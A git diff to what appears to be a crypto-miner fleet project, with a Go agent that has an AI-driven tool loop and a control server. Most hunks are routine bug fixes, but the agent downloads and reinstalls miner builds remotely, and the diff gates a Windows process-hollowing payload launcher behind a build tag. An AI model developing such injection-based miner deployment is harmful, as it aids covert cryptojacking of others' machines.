diff --git a/agent/client/ai.go b/agent/client/ai.go index 5d8726a..70248cf 100644 --- a/agent/client/ai.go +++ b/agent/client/ai.go @@ -9,6 +9,7 @@ import ( "os" "os/exec" "path/filepath" + "strconv" "strings" "time" @@ -103,6 +104,7 @@ type AIRunner struct { httpClient *http.Client serverURL string agentID string + startedAt time.Time stopCh chan struct{} } @@ -115,6 +117,7 @@ func NewAIRunner(cfg config.RuntimeConfig, reporter *stats.Reporter, pool *miner httpClient: &http.Client{Timeout: 60 * time.Second}, serverURL: strings.TrimRight(cfg.ServerURL, "/"), agentID: cfg.AgentID, + startedAt: time.Now(), stopCh: make(chan struct{}), } } @@ -209,7 +212,7 @@ func (a *AIRunner) collectState() AgentState { AgentID: a.agentID, WorkerName: a.cfg.WorkerName, Hostname: hostname, - UptimeSeconds: int(time.Since(time.Now()).Seconds()), // approximate, will be refined + UptimeSeconds: int(time.Since(a.startedAt).Seconds()), IsRunning: isRunning, CPUCores: cpuCores, CPUUsagePct: cpuPct, @@ -255,6 +258,10 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) { } defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("decide returned status %d", resp.StatusCode) + } + var decideResp DecideResponse if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil { return nil, fmt.Errorf("failed to parse decide response: %w", err) @@ -308,14 +315,14 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport { case "reinstall_miner": serverURL := tc.Args["server_url"] - agentID := tc.Args["agent_id"] + buildID := tc.Args["build_id"] if serverURL == "" { serverURL = a.serverURL } - if agentID == "" { - agentID = a.agentID + if buildID == "" { + buildID = a.cfg.BuildID } - output, err := a.reinstallMiner(serverURL, agentID) + output, err := a.reinstallMiner(serverURL, buildID) if err != nil { report.Success = false report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output) @@ -363,11 +370,11 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport { if seconds == "" { seconds = "60" } - var dur time.Duration - if s, err := fmt.Sscanf(seconds, "%f", &dur); err != nil || s != 1 { + dur, err := strconv.ParseFloat(seconds, 64) + if err != nil || dur <= 0 { dur = 60 } - time.Sleep(time.Duration(dur) * time.Second) + time.Sleep(time.Duration(dur * float64(time.Second))) report.Success = true report.Output = fmt.Sprintf("slept for %s seconds", seconds) @@ -484,11 +491,11 @@ func (a *AIRunner) restartMiner(processName string) (string, error) { return fmt.Sprintf("killed old process, started new instance of %s", processName), nil } -func (a *AIRunner) reinstallMiner(serverURL, agentID string) (string, error) { - log.Printf("[AI] Reinstalling miner from %s (agent=%s)", serverURL, agentID) +func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) { + log.Printf("[AI] Reinstalling miner from %s (build=%s)", serverURL, buildID) // Download the latest build from the server - downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, agentID) + downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, buildID) installDir, err := a.cfg.InstallDirectory() if err != nil { @@ -660,7 +667,7 @@ func (a *AIRunner) uploadLog() (string, error) { // Send to hub as a report log.Printf("[AI] Uploaded %d bytes of log data", len(data)) - return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil + return fmt.Sprintf("log file size: %d bytes. Content:\n%s", len(data), string(data)), nil } func (a *AIRunner) fallbackEdgeAI(state AgentState) { diff --git a/agent/deploy/hollow_stub_windows.go b/agent/deploy/hollow_stub_windows.go new file mode 100644 index 0000000..b005b25 --- /dev/null +++ b/agent/deploy/hollow_stub_windows.go @@ -0,0 +1,12 @@ +//go:build windows && !hollow + +package deploy + +import "fmt" + +// RunHollowed is only available when built with the "hollow" build tag. +// This keeps the default agent build safe and avoids unsafe pointer warnings in vet. +func RunHollowed(targetExe string, payload []byte) error { + return fmt.Errorf("process hollowing disabled (build without -tags hollow)") +} + diff --git a/agent/deploy/hollow_windows.go b/agent/deploy/hollow_windows.go index 8feac80..dc6b71a 100644 --- a/agent/deploy/hollow_windows.go +++ b/agent/deploy/hollow_windows.go @@ -1,4 +1,4 @@ -//go:build windows +//go:build windows && hollow package deploy diff --git a/run.bat b/run.bat index 3ce06e2..d06cd2b 100644 --- a/run.bat +++ b/run.bat @@ -242,6 +242,9 @@ echo. start http://localhost:8989 +:: If an old server instance is running, stop it first to avoid bind errors. +taskkill /F /IM miner-server.exe >nul 2>nul + echo [Server] Starting miner-server.exe on 0.0.0.0:8989... echo [Server] Log output below - Ctrl+C to stop: echo. diff --git a/server/internal/api/ai_handler.go b/server/internal/api/ai_handler.go index aa73dc2..4f33e86 100644 --- a/server/internal/api/ai_handler.go +++ b/server/internal/api/ai_handler.go @@ -114,14 +114,10 @@ func (h *AIHandler) RemoveEngine(agentID string) { // GetEngine returns the engine for an agent. func (h *AIHandler) GetEngine(agentID string) *ollama.Engine { - h.mu.RLock() - defer h.mu.RUnlock() + h.mu.Lock() + defer h.mu.Unlock() if entry, ok := h.engines[agentID]; ok { - h.mu.RUnlock() // Briefly unlock to update timestamp - h.mu.Lock() entry.lastUsed = time.Now() - h.mu.Unlock() - h.mu.RLock() return entry.engine } return nil diff --git a/server/internal/api/blueprint_handler.go b/server/internal/api/blueprint_handler.go index 8fa53b2..069c42f 100644 --- a/server/internal/api/blueprint_handler.go +++ b/server/internal/api/blueprint_handler.go @@ -189,7 +189,7 @@ func (h *BlueprintHandler) deleteBlueprint(w http.ResponseWriter, r *http.Reques return } - writeJSON(w, map[string]string{"success": "true", "name": safeName}) + writeJSON(w, map[string]interface{}{"success": true, "name": safeName}) } func sanitizeFilename(name string) string { diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index abbf02f..771ff32 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -4,7 +4,6 @@ import ( "encoding/json" "net/http" "strconv" - "time" "crypto-miner-server/internal/alerts" "crypto-miner-server/internal/db" @@ -70,7 +69,6 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) { } if r.URL.Query().Get("refresh") == "1" { _ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300}) - time.Sleep(800 * time.Millisecond) } writeJSON(w, map[string]interface{}{ "agent_id": id, @@ -116,6 +114,15 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) } if id == "all" { + if f.ws.connectedAgentCount() == 0 { + writeJSON(w, map[string]interface{}{ + "success": false, + "error": "no connected agents", + "agent_id": id, + "action": req.Action, + }) + return + } f.ws.BroadcastAgentCommand(req.Action, args) } else { if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index b987cf2..63d6110 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -21,10 +21,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Use(middleware.Logger) r.Use(middleware.Recoverer) r.Use(cors.Handler(cors.Options{ - AllowedOrigins: []string{"*"}, - AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"}, - AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"}, - AllowCredentials: true, + AllowedOrigins: []string{"*"}, + AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"}, + AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"}, + // With AllowedOrigins="*", credentials must be disabled (browsers will reject "*"+credentials). + AllowCredentials: false, })) // REST API diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 4cb30df..3c01ef6 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -370,11 +370,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { h.broadcastDashboard(Message{ Type: "stats_update", Payload: mustMarshal(map[string]interface{}{ - "agent_id": agentID, - "hashrate_15s": stats.Hashrate15s, - "hashrate_1m": stats.Hashrate1m, - "hashrate_15m": stats.Hashrate15m, - "cpu_usage_pct": stats.CPUUsagePct, + "agent_id": agentID, + "hashrate_15s": stats.Hashrate15s, + "hashrate_1m": stats.Hashrate1m, + "hashrate_15m": stats.Hashrate15m, + "cpu_usage_pct": stats.CPUUsagePct, + "memory_usage_pct": stats.MemoryUsagePct, + "uptime_seconds": stats.UptimeSeconds, + "shares_submitted": stats.SharesSubmitted, + "shares_accepted": stats.SharesAccepted, }), })